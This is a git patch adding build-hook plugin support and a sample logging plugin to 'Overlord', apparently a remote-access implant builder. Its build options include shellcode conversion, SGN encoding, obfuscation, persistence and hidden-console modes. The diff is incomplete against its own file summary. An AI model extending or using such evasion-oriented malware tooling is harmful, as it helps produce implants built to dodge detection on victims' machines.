From 7aaf115e2f4f1a2218317de7f930715ec60e6b94 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Mon, 22 Jun 2026 12:54:12 -0500 Subject: [PATCH] build hook plugins --- Overlord-Server/public/assets/build.js | 304 +++++++++ Overlord-Server/public/assets/plugins.js | 149 +++-- Overlord-Server/public/build.html | 17 + Overlord-Server/public/plugins.html | 2 +- Overlord-Server/src/main-server.ts | 2 + Overlord-Server/src/protocol.ts | 47 +- Overlord-Server/src/server/build-process.ts | 584 +++++++++++++++++- .../src/server/plugin-runtime/runtime.ts | 75 ++- .../src/server/plugin-runtime/types.ts | 8 + .../src/server/plugin-runtime/worker-host.ts | 64 ++ .../src/server/plugin-state-bundle.ts | 67 ++ .../src/server/routes/build-routes.ts | 121 +++- .../src/server/routes/plugin-routes.ts | 53 +- plugins/PLUGINS.md | 140 +++++ plugins/sample-build-hooks/README.md | 16 + plugins/sample-build-hooks/build.bat | 26 + .../sample-build-hooks/sample-build-hooks.css | 41 ++ .../sample-build-hooks.html | 7 + .../sample-build-hooks/sample-build-hooks.js | 26 + plugins/sample-build-hooks/server.js | 189 ++++++ 20 files changed, 1857 insertions(+), 81 deletions(-) create mode 100644 plugins/sample-build-hooks/README.md create mode 100644 plugins/sample-build-hooks/build.bat create mode 100644 plugins/sample-build-hooks/sample-build-hooks.css create mode 100644 plugins/sample-build-hooks/sample-build-hooks.html create mode 100644 plugins/sample-build-hooks/sample-build-hooks.js create mode 100644 plugins/sample-build-hooks/server.js diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js index c637df3..6448381 100644 --- a/Overlord-Server/public/assets/build.js +++ b/Overlord-Server/public/assets/build.js @@ -43,11 +43,15 @@ const startupNameMacosHint = document.getElementById("startup-name-macos-hint"); const startupNameDefaultHint = document.getElementById("startup-name-default-hint"); const startupNameError = document.getElementById("startup-name-error"); const platformInputs = document.querySelectorAll('input[name="platform"]'); +const buildPluginsSection = document.getElementById("build-plugins-section"); +const buildPluginsList = document.getElementById("build-plugins-list"); +const buildPluginsCount = document.getElementById("build-plugins-count"); let currentServerVersion = null; let currentUserRole = null; let currentUsername = null; let showAllBuilds = false; +let buildPlugins = []; async function loadServerVersion() { try { @@ -123,6 +127,296 @@ function updateWindowsSectionVisibility() { windowsSection.classList.toggle("hidden", !hasWindows); } +function pluginSettingInputId(pluginId, key) { + return `build-plugin-${pluginId}-${key}`.replace(/[^A-Za-z0-9_-]/g, "-"); +} + +function buildPluginCurrentSettings(plugin) { + const settings = {}; + for (const setting of plugin.build?.settings || []) { + const el = document.querySelector(`[data-build-plugin-id="${plugin.id}"][data-build-setting-key="${setting.key}"]`); + if (!el) continue; + if (setting.type === "boolean") settings[setting.key] = !!el.checked; + else if (setting.type === "number") settings[setting.key] = Number(el.value || setting.default || 0); + else settings[setting.key] = el.value; + } + return settings; +} + +function collectBuildPluginSettings() { + const result = {}; + for (const plugin of buildPlugins) { + const enabledEl = document.querySelector(`[data-build-plugin-enable="${plugin.id}"]`); + result[plugin.id] = { + enabled: enabledEl ? !!enabledEl.checked : plugin.build?.enabledByDefault !== false, + settings: buildPluginCurrentSettings(plugin), + }; + } + return result; +} + +function setBuildField(field, value) { + const fieldMap = { + useDonut: "#donut-mode", + useLinuxShellcode: "#linux-shellcode-mode", + shellcodeConsole: "#shellcode-console", + useSgn: "#sgn-mode", + enableUpx: 'input[name="enable-upx"]', + upxStripHeaders: 'input[name="upx-strip-headers"]', + obfuscate: 'input[name="obfuscate"]', + garbleLiterals: 'input[name="garble-literals"]', + garbleTiny: 'input[name="garble-tiny"]', + disableCgo: 'input[name="disable-cgo"]', + stripDebug: 'input[name="strip-debug"]', + noPrinting: 'input[name="no-printing"]', + enableWebrtc: 'input[name="enable-webrtc"]', + enableWinRE: 'input[name="enable-winre"]', + fetchPublicIP: 'input[name="fetch-public-ip"]', + enablePersistence: 'input[name="enable-persistence"]', + hideConsole: 'input[name="hide-console"]', + requireAdmin: 'input[name="require-admin"]', + criticalProcess: 'input[name="critical-process"]', + outputName: "#output-name", + outputExtension: "#output-extension", + sgnIterations: "#sgn-iterations", + sleepSeconds: "#sleep-seconds", + }; + const selector = fieldMap[field] || `#${field}`; + const el = document.querySelector(selector); + if (!el) return; + if (el.type === "checkbox") el.checked = !!value; + else el.value = String(value ?? ""); + el.dispatchEvent(new Event("change", { bubbles: true })); + el.dispatchEvent(new Event("input", { bubbles: true })); + if (field === "useDonut") applyDonutMode(!!value); + if (field === "useLinuxShellcode") applyLinuxShellcodeMode(!!value); + if (field === "useSgn") applySgnMode(!!value); +} + +function getRequirementValue(req, plugin) { + if (req.field) { + const settings = collectFormSettings(); + return req.field.split(".").reduce((cur, key) => cur && cur[key], settings); + } + if (req.pluginSetting) { + const settings = buildPluginCurrentSettings(plugin); + return req.pluginSetting.split(".").reduce((cur, key) => cur && cur[key], settings); + } + return undefined; +} + +function buildRequirementMet(req, plugin) { + if (Array.isArray(req.platforms)) { + const selected = Array.from(document.querySelectorAll('input[name="platform"]:checked')).map((el) => el.value); + return req.platforms.some((platform) => selected.includes(platform)); + } + const value = getRequirementValue(req, plugin); + if (req.truthy === true && !value) return false; + if (req.falsy === true && value) return false; + if (Object.prototype.hasOwnProperty.call(req, "equals") && value !== req.equals) return false; + if (Object.prototype.hasOwnProperty.call(req, "notEquals") && value === req.notEquals) return false; + if (Object.prototype.hasOwnProperty.call(req, "includes")) { + if (!Array.isArray(value) || !value.includes(req.includes)) return false; + } + return true; +} + +function validateBuildPluginRequirements() { + const messages = []; + for (const plugin of buildPlugins) { + const enabled = document.querySelector(`[data-build-plugin-enable="${plugin.id}"]`)?.checked; + if (!enabled) continue; + for (const req of plugin.build?.requires || []) { + if (!buildRequirementMet(req, plugin)) { + messages.push(req.message || `${plugin.name} has unmet build requirements`); + } + } + } + return messages; +} + +function renderBuildPluginSetting(plugin, setting) { + const id = pluginSettingInputId(plugin.id, setting.key); + const wrap = document.createElement("label"); + wrap.className = "flex flex-col gap-1 text-sm"; + + const label = document.createElement("span"); + label.className = "text-slate-300 font-medium"; + label.textContent = setting.label || setting.key; + wrap.appendChild(label); + + let input; + if (setting.type === "boolean") { + wrap.className = "flex items-center gap-2 text-sm text-slate-300"; + input = document.createElement("input"); + input.type = "checkbox"; + input.checked = !!setting.default; + input.className = "w-4 h-4"; + wrap.innerHTML = ""; + wrap.appendChild(input); + wrap.appendChild(label); + } else if (setting.type === "select") { + input = document.createElement("select"); + input.className = "w-full px-3 py-2 bg-slate-800/70 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-fuchsia-500 transition-colors"; + for (const opt of setting.options || []) { + const option = document.createElement("option"); + option.value = typeof opt === "string" ? opt : opt.value; + option.textContent = typeof opt === "string" ? opt : (opt.label || opt.value); + input.appendChild(option); + } + if (setting.default !== undefined) input.value = String(setting.default); + wrap.appendChild(input); + } else if (setting.type === "textarea") { + input = document.createElement("textarea"); + input.rows = 3; + input.value = setting.default !== undefined ? String(setting.default) : ""; + input.placeholder = setting.placeholder || ""; + input.className = "w-full px-3 py-2 bg-slate-800/70 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-fuchsia-500 transition-colors"; + wrap.appendChild(input); + } else { + input = document.createElement("input"); + input.type = setting.type === "number" ? "number" : "text"; + if (setting.min !== undefined) input.min = String(setting.min); + if (setting.max !== undefined) input.max = String(setting.max); + input.value = setting.default !== undefined ? String(setting.default) : ""; + input.placeholder = setting.placeholder || ""; + input.className = "w-full px-3 py-2 bg-slate-800/70 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-fuchsia-500 transition-colors"; + wrap.appendChild(input); + } + input.id = id; + input.dataset.buildPluginId = plugin.id; + input.dataset.buildSettingKey = setting.key; + input.addEventListener("input", saveFormSettings); + input.addEventListener("change", saveFormSettings); + + if (setting.description) { + const desc = document.createElement("span"); + desc.className = "text-xs text-slate-500"; + desc.textContent = setting.description; + wrap.appendChild(desc); + } + return wrap; +} + +function renderBuildPlugins() { + if (!buildPluginsSection || !buildPluginsList) return; + buildPluginsList.innerHTML = ""; + if (buildPlugins.length === 0) { + buildPluginsSection.classList.add("hidden"); + return; + } + buildPluginsSection.classList.remove("hidden"); + if (buildPluginsCount) buildPluginsCount.textContent = `${buildPlugins.length} available`; + + for (const plugin of buildPlugins) { + const card = document.createElement("div"); + card.className = "rounded-lg border border-slate-700 bg-slate-800/40 p-3 flex flex-col gap-3"; + + const top = document.createElement("div"); + top.className = "flex items-start justify-between gap-3"; + const title = document.createElement("div"); + const nameEl = document.createElement("div"); + nameEl.className = "font-medium text-slate-100"; + nameEl.textContent = plugin.build?.label || plugin.name; + title.appendChild(nameEl); + if (plugin.build?.description) { + const desc = document.createElement("div"); + desc.className = "text-xs text-slate-500 mt-1"; + desc.textContent = plugin.build.description; + title.appendChild(desc); + } + const toggle = document.createElement("label"); + toggle.className = "flex items-center gap-2 text-xs text-slate-300 cursor-pointer"; + const cb = document.createElement("input"); + cb.type = "checkbox"; + cb.checked = plugin.build?.enabledByDefault !== false; + cb.dataset.buildPluginEnable = plugin.id; + cb.className = "w-4 h-4"; + cb.addEventListener("change", saveFormSettings); + toggle.appendChild(cb); + toggle.appendChild(document.createTextNode("Enabled")); + top.appendChild(title); + top.appendChild(toggle); + card.appendChild(top); + + if (plugin.build?.settings?.length) { + const grid = document.createElement("div"); + grid.className = "grid grid-cols-1 md:grid-cols-2 gap-3"; + for (const setting of plugin.build.settings) grid.appendChild(renderBuildPluginSetting(plugin, setting)); + card.appendChild(grid); + } + + if (plugin.build?.actions?.length) { + const actions = document.createElement("div"); + actions.className = "flex flex-wrap gap-2"; + for (const action of plugin.build.actions) { + const btn = document.createElement("button"); + btn.type = "button"; + btn.className = "inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-fuchsia-700 hover:bg-fuchsia-600 text-white text-sm transition-colors"; + const icon = document.createElement("i"); + icon.className = action.icon || "fa-solid fa-wand-magic-sparkles"; + const text = document.createElement("span"); + text.textContent = action.label; + btn.appendChild(icon); + btn.appendChild(text); + if (action.description) btn.title = action.description; + btn.addEventListener("click", () => { + for (const req of action.requires || []) { + if (!buildRequirementMet(req, plugin)) { + alert(req.message || "This action requires other build settings first."); + return; + } + } + for (const [field, value] of Object.entries(action.setBuild || {})) setBuildField(field, value); + for (const [key, value] of Object.entries(action.setSettings || {})) { + const el = document.querySelector(`[data-build-plugin-id="${plugin.id}"][data-build-setting-key="${key}"]`); + if (!el) continue; + if (el.type === "checkbox") el.checked = !!value; + else el.value = String(value ?? ""); + el.dispatchEvent(new Event("change", { bubbles: true })); + } + saveFormSettings(); + }); + actions.appendChild(btn); + } + card.appendChild(actions); + } + buildPluginsList.appendChild(card); + } +} + +function applyBuildPluginSettings(settings) { + if (!settings || typeof settings !== "object") return; + for (const plugin of buildPlugins) { + const saved = settings[plugin.id]; + if (!saved || typeof saved !== "object") continue; + const enabled = document.querySelector(`[data-build-plugin-enable="${plugin.id}"]`); + if (enabled && saved.enabled !== undefined) enabled.checked = !!saved.enabled; + for (const [key, value] of Object.entries(saved.settings || {})) { + const el = document.querySelector(`[data-build-plugin-id="${plugin.id}"][data-build-setting-key="${key}"]`); + if (!el) continue; + if (el.type === "checkbox") el.checked = !!value; + else el.value = String(value ?? ""); + } + } +} + +async function loadBuildPlugins() { + try { + const res = await fetch("/api/build/plugins", { credentials: "include" }); + if (!res.ok) return; + const data = await res.json(); + buildPlugins = Array.isArray(data.plugins) ? data.plugins : []; + renderBuildPlugins(); + try { + const raw = localStorage.getItem(BUILD_SETTINGS_KEY); + if (raw) applyBuildPluginSettings(JSON.parse(raw).buildPlugins); + } catch {} + } catch (err) { + console.warn("Failed to load build plugins:", err); + } +} + const BUILD_SETTINGS_KEY = "overlord_build_settings"; function collectFormSettings() { @@ -169,6 +463,7 @@ function collectFormSettings() { shellcodeConsole: document.getElementById("shellcode-console")?.checked ?? false, useSgn: document.getElementById("sgn-mode")?.checked ?? false, sgnIterations: parseInt(document.getElementById("sgn-iterations")?.value, 10) || 1, + buildPlugins: collectBuildPluginSettings(), }; } @@ -247,6 +542,7 @@ function applyFormSettings(settings) { if (settings.useSgn) applySgnMode(true); } if (settings.sgnIterations !== undefined) setVal("sgn-iterations", settings.sgnIterations); + if (settings.buildPlugins !== undefined) applyBuildPluginSettings(settings.buildPlugins); const restoredObfuscate = document.querySelector('input[name="obfuscate"]'); const garbleContainer = document.getElementById("garble-settings-container"); @@ -509,6 +805,7 @@ function applyLinuxShellcodeMode(enabled) { restoreFormSettings(); initAccordions(); +loadBuildPlugins(); updateWindowsSectionVisibility(); updateShellcodeCheckboxVisibility(); init(); @@ -1445,6 +1742,7 @@ form?.addEventListener("submit", async (e) => { sgnIterations: parseInt(document.getElementById("sgn-iterations")?.value, 10) || 1, outputSgnTxt: pendingSgnTxtBuild, uploadToFileShare: pendingUpload, + buildPlugins: collectBuildPluginSettings(), }; const hasAndroid = platforms.some(p => p.startsWith('android-')); @@ -1486,6 +1784,12 @@ form?.addEventListener("submit", async (e) => { } } + const pluginRequirementErrors = validateBuildPluginRequirements(); + if (pluginRequirementErrors.length > 0) { + alert(`Build plugin requirements are not met:\n\n${pluginRequirementErrors.map((msg) => `- ${msg}`).join("\n")}`); + return; + } + await startBuild(buildConfig); }); diff --git a/Overlord-Server/public/assets/plugins.js b/Overlord-Server/public/assets/plugins.js index 73508c8..cb12f35 100644 --- a/Overlord-Server/public/assets/plugins.js +++ b/Overlord-Server/public/assets/plugins.js @@ -114,9 +114,12 @@ function renderPlugins(plugins) { return; } for (const plugin of plugins) { + const isServerOnly = plugin.runtime === "server"; const card = document.createElement("div"); card.className = - "rounded-xl border border-slate-800 bg-slate-950/50 px-4 py-3 flex items-center justify-between"; + isServerOnly + ? "rounded-xl border border-fuchsia-800/60 bg-fuchsia-950/20 px-4 py-3 flex items-center justify-between" + : "rounded-xl border border-slate-800 bg-slate-950/50 px-4 py-3 flex items-center justify-between"; const meta = document.createElement("div"); const titleRow = document.createElement("div"); titleRow.className = "flex items-center gap-2"; @@ -137,13 +140,17 @@ function renderPlugins(plugins) { const isWasm = plugin.runtime === "wasm"; const isV2 = Number(plugin.apiVersion || 1) >= 2; runtimeBadge.className = `inline-flex items-center gap-1 text-[10px] uppercase tracking-wider px-2 py-0.5 rounded-full border ${ - isWasm + isServerOnly + ? "text-fuchsia-200 border-fuchsia-700 bg-fuchsia-950/50" + : isWasm ? "text-cyan-300 border-cyan-700 bg-cyan-950/40" : isV2 ? "text-emerald-300 border-emerald-700 bg-emerald-950/40" : "text-slate-300 border-slate-700 bg-slate-900/60" }`; - runtimeBadge.innerHTML = isWasm + runtimeBadge.innerHTML = isServerOnly + ? ' Server Extension' + : isWasm ? ' WASM 2.0' : isV2 ? ' Plugin 2.0' @@ -171,12 +178,37 @@ function renderPlugins(plugins) { needsBox.innerHTML = `
- ${plugin.needsApproved ? "Needs approved" : "Needs approval before load"} + ${plugin.needsApproved ? "Needs approved" : isServerOnly ? "Needs approval before enable" : "Needs approval before load"}
${needLines.map((line) => `
${escapeHtml(line)}
`).join("")} `; meta.appendChild(needsBox); } + if (isServerOnly) { + const serverBox = document.createElement("div"); + serverBox.className = "mt-2 flex flex-wrap items-center gap-2 text-xs"; + const state = document.createElement("span"); + state.className = `inline-flex items-center gap-1 px-2 py-1 rounded-lg border ${ + plugin.serverRunning + ? "text-emerald-200 border-emerald-700 bg-emerald-950/40" + : plugin.enabled + ? "text-amber-200 border-amber-700 bg-amber-950/40" + : "text-slate-300 border-slate-700 bg-slate-900/60" + }`; + state.innerHTML = plugin.serverRunning + ? ' Worker running' + : plugin.enabled + ? ' Enabled, worker stopped' + : ' Disabled'; + serverBox.appendChild(state); + if (plugin.build) { + const buildBadge = document.createElement("span"); + buildBadge.className = "inline-flex items-center gap-1 px-2 py-1 rounded-lg border text-blue-200 border-blue-700 bg-blue-950/40"; + buildBadge.innerHTML = ' Build plugin'; + serverBox.appendChild(buildBadge); + } + meta.appendChild(serverBox); + } const actions = document.createElement("div"); actions.className = "flex items-center gap-2"; @@ -186,9 +218,13 @@ function renderPlugins(plugins) { (plugin.enabled ? " border-emerald-600 text-emerald-200 bg-emerald-900/40" : " border-slate-600 text-slate-300 bg-slate-800/60"); - toggle.innerHTML = plugin.enabled - ? ' Enabled' - : ' Disabled'; + toggle.innerHTML = isServerOnly + ? plugin.enabled + ? ' Disable' + : ' Enable' + : plugin.enabled + ? ' Enabled' + : ' Disabled'; toggle.addEventListener("click", async () => { const wantEnabled = !plugin.enabled; try { @@ -219,56 +255,59 @@ function renderPlugins(plugins) { } }); - const autoLoadBtn = document.createElement("button"); - const autoLoadDisabled = !plugin.enabled; - autoLoadBtn.className = - "inline-flex items-center gap-2 px-3 py-2 rounded-lg border" + - (autoLoadDisabled - ? " border-slate-700 text-slate-500 bg-slate-900/40 cursor-not-allowed opacity-50" + let autoLoadBtn = null; + if (!isServerOnly) { + autoLoadBtn = document.createElement("button"); + const autoLoadDisabled = !plugin.enabled; + autoLoadBtn.className = + "inline-flex items-center gap-2 px-3 py-2 rounded-lg border" + + (autoLoadDisabled + ? " border-slate-700 text-slate-500 bg-slate-900/40 cursor-not-allowed opacity-50" + : plugin.autoLoad + ? " border-amber-600 text-amber-200 bg-amber-900/40" + : " border-slate-600 text-slate-300 bg-slate-800/60"); + autoLoadBtn.innerHTML = plugin.autoLoad + ? ' Auto-load' + : ' Auto-load off'; + autoLoadBtn.title = autoLoadDisabled + ? "Plugin must be enabled before auto-load can be turned on" : plugin.autoLoad - ? " border-amber-600 text-amber-200 bg-amber-900/40" - : " border-slate-600 text-slate-300 bg-slate-800/60"); - autoLoadBtn.innerHTML = plugin.autoLoad - ? ' Auto-load' - : ' Auto-load off'; - autoLoadBtn.title = autoLoadDisabled - ? "Plugin must be enabled before auto-load can be turned on" - : plugin.autoLoad - ? "Plugin will auto-load on all new client connections. Click to disable." - : "Click to auto-load this plugin on all new client connections."; - if (autoLoadDisabled) { - autoLoadBtn.disabled = true; - } else { - autoLoadBtn.addEventListener("click", async () => { - const res = await fetch(`/api/plugins/${plugin.id}/autoload`, { - method: "POST", - headers: { "Content-Type": "application/json" }, - body: JSON.stringify({ - autoLoad: !plugin.autoLoad, - autoStartEvents: plugin.autoStartEvents || [], - }), - }); - if (!res.ok) { - const data = await res.json().catch(() => null); - if (data && data.error === "needs_approval_required") { - showNeedsApprovalModal(plugin, data.needs, data.needsHash, async () => { - await fetch(`/api/plugins/${plugin.id}/autoload`, { - method: "POST", - headers: { "Content-Type": "application/json" }, - body: JSON.stringify({ - autoLoad: !plugin.autoLoad, - autoStartEvents: plugin.autoStartEvents || [], - }), + ? "Plugin will auto-load on all new client connections. Click to disable." + : "Click to auto-load this plugin on all new client connections."; + if (autoLoadDisabled) { + autoLoadBtn.disabled = true; + } else { + autoLoadBtn.addEventListener("click", async () => { + const res = await fetch(`/api/plugins/${plugin.id}/autoload`, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ + autoLoad: !plugin.autoLoad, + autoStartEvents: plugin.autoStartEvents || [], + }), + }); + if (!res.ok) { + const data = await res.json().catch(() => null); + if (data && data.error === "needs_approval_required") { + showNeedsApprovalModal(plugin, data.needs, data.needsHash, async () => { + await fetch(`/api/plugins/${plugin.id}/autoload`, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ + autoLoad: !plugin.autoLoad, + autoStartEvents: plugin.autoStartEvents || [], + }), + }); + await refresh(); }); - await refresh(); - }); + return; + } + setStatus(`Auto-load toggle failed: ${data?.error || res.statusText}`, true); return; } - setStatus(`Auto-load toggle failed: ${data?.error || res.statusText}`, true); - return; - } - await refresh(); - }); + await refresh(); + }); + } } if (needLines.length && !plugin.needsApproved) { @@ -296,7 +335,7 @@ function renderPlugins(plugins) { await refresh(); }); actions.appendChild(toggle); - actions.appendChild(autoLoadBtn); + if (autoLoadBtn) actions.appendChild(autoLoadBtn); actions.appendChild(removeBtn); card.appendChild(meta); card.appendChild(actions); @@ -339,7 +378,7 @@ function showNeedsApprovalModal(plugin, needs, needsHash, afterApprove) {

Approve Plugin Needs

-

${escapeHtml(plugin.name || plugin.id)} is asking for filesystem bridges before it can be sent to clients.

+

${escapeHtml(plugin.name || plugin.id)} is asking for filesystem bridges before it can ${plugin.runtime === "server" ? "be enabled" : "be sent to clients"}.

${needLines.length ? needLines.map((line) => `
${escapeHtml(line)}
`).join("") : '
No filesystem needs declared.
'}
diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html index 79fd02b..fe01421 100644 --- a/Overlord-Server/public/build.html +++ b/Overlord-Server/public/build.html @@ -930,6 +930,23 @@ + + +
+
+
Loading...
+ diff --git a/plugins/sample-build-hooks/sample-build-hooks.js b/plugins/sample-build-hooks/sample-build-hooks.js new file mode 100644 index 0000000..afa5aa9 --- /dev/null +++ b/plugins/sample-build-hooks/sample-build-hooks.js @@ -0,0 +1,26 @@ +const output = document.getElementById("sample-build-hooks-output"); +const refreshButton = document.getElementById("sample-build-hooks-refresh"); + +async function callRpc(method, params) { + const res = await fetch("/api/plugins/sample-build-hooks/rpc", { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ method, params }), + }); + const data = await res.json(); + if (!data.ok) throw new Error(data.error || "RPC failed"); + return data.result; +} + +async function refresh() { + output.textContent = "Loading..."; + try { + const result = await callRpc("recent"); + output.textContent = JSON.stringify(result, null, 2); + } catch (err) { + output.textContent = `Error: ${err.message || err}`; + } +} + +refreshButton?.addEventListener("click", refresh); +refresh(); diff --git a/plugins/sample-build-hooks/server.js b/plugins/sample-build-hooks/server.js new file mode 100644 index 0000000..fdffc33 --- /dev/null +++ b/plugins/sample-build-hooks/server.js @@ -0,0 +1,189 @@ +import fs from "fs"; +import path from "path"; + +function record(ctx, hook, data = {}) { + ctx.db + .prepare("INSERT INTO build_hook_events(hook, data, created_at) VALUES (?, ?, ?)") + .run(hook, JSON.stringify(data), Date.now()); +} + +function safeJson(value) { + try { + return JSON.stringify(value, null, 2); + } catch { + return String(value); + } +} + +function buildSettings(ctx, payload) { + const record = payload.config?.buildPlugins?.[ctx.pluginId]; + return { + enabled: record?.enabled !== false, + replaceOutput: record?.settings?.replaceOutput !== false, + note: String(record?.settings?.note || "test"), + }; +} + +export default { + setup(ctx) { + ctx.db.exec(` + CREATE TABLE IF NOT EXISTS build_hook_events ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + hook TEXT NOT NULL, + data TEXT NOT NULL, + created_at INTEGER NOT NULL + ); + CREATE INDEX IF NOT EXISTS build_hook_events_recent ON build_hook_events(created_at DESC); + `); + ctx.log.info("sample build hook plugin ready"); + }, + + onBuildPrepare(ctx, payload) { + const settings = buildSettings(ctx, payload); + if (!settings.enabled) return null; + record(ctx, "prepare", { + buildId: payload.buildId, + platforms: payload.config?.platforms || [], + settings, + }); + return { + message: "prepare hook observed build config", + }; + }, + + onBuildTarget(ctx, payload) { + const settings = buildSettings(ctx, payload); + if (!settings.enabled) return null; + record(ctx, "target", { + buildId: payload.buildId, + platform: payload.platform, + outputName: payload.outputName, + settings, + }); + + return { message: `target hook observed ${payload.platform}` }; + }, + + buildHooks: { + post_build(ctx, payload) { + if (!buildSettings(ctx, payload).enabled) return null; + record(ctx, "post_build", { + buildId: payload.buildId, + platform: payload.platform, + filename: payload.file?.filename, + size: payload.file?.size, + }); + }, + + before_donut(ctx, payload) { + if (!buildSettings(ctx, payload).enabled) return null; + record(ctx, "before_donut", { + buildId: payload.buildId, + platform: payload.platform, + input: payload.file?.filename, + output: payload.outputFilename, + donutArch: payload.donutArch, + }); + return { message: `before Donut: ${payload.file?.filename}` }; + }, + + after_donut(ctx, payload) { + if (!buildSettings(ctx, payload).enabled) return null; + record(ctx, "after_donut", { + buildId: payload.buildId, + platform: payload.platform, + filename: payload.file?.filename, + size: payload.file?.size, + donutArch: payload.donutArch, + }); + return { message: `after Donut: ${payload.file?.filename}` }; + }, + + before_sgn(ctx, payload) { + if (!buildSettings(ctx, payload).enabled) return null; + record(ctx, "before_sgn", { + buildId: payload.buildId, + platform: payload.platform, + input: payload.file?.filename, + output: payload.outputFilename, + iterations: payload.iterations, + }); + return { message: `before SGN: ${payload.file?.filename}` }; + }, + + after_sgn(ctx, payload) { + if (!buildSettings(ctx, payload).enabled) return null; + record(ctx, "after_sgn", { + buildId: payload.buildId, + platform: payload.platform, + filename: payload.file?.filename, + size: payload.file?.size, + iterations: payload.iterations, + }); + return { message: `after SGN: ${payload.file?.filename}` }; + }, + }, + + onBuildArtifact(ctx, payload) { + const settings = buildSettings(ctx, payload); + if (!settings.enabled) return null; + record(ctx, "artifact", { + buildId: payload.buildId, + platform: payload.platform, + filename: payload.file?.filename, + size: payload.file?.size, + settings, + }); + + if (!settings.replaceOutput) { + return { message: "test TXT replacement disabled by plugin setting" }; + } + + const txtName = `${path.parse(payload.file.filename).name}.txt`; + const txtPath = path.join(payload.outDir, txtName); + fs.writeFileSync(txtPath, `${settings.note}\n`, "utf8"); + + return { + file: { filename: txtName }, + message: `replaced build output with ${txtName}`, + }; + }, + + onBuildComplete(ctx, payload) { + if (!buildSettings(ctx, payload).enabled) return null; + record(ctx, "complete", { + buildId: payload.buildId, + files: payload.files?.map((file) => file.filename) || [], + }); + ctx.broadcast("build_complete", { buildId: payload.buildId, files: payload.files?.length || 0 }); + }, + + onBuildFailed(ctx, payload) { + if (!buildSettings(ctx, payload).enabled) return null; + record(ctx, "failed", { + buildId: payload.buildId, + error: payload.error, + }); + ctx.broadcast("build_failed", { buildId: payload.buildId, error: payload.error }); + }, + + rpc: { + recent(ctx) { + const rows = ctx.db + .prepare("SELECT hook, data, created_at FROM build_hook_events ORDER BY created_at DESC LIMIT 25") + .all(); + return rows.map((row) => ({ + hook: row.hook, + createdAt: new Date(row.created_at).toISOString(), + data: JSON.parse(row.data), + })); + }, + + clear(ctx, _params, { caller }) { + if (caller.role !== "admin") throw new Error("Admin only"); + ctx.db.exec("DELETE FROM build_hook_events"); + ctx.broadcast("cleared", { by: caller.id }); + return { ok: true }; + }, + }, +};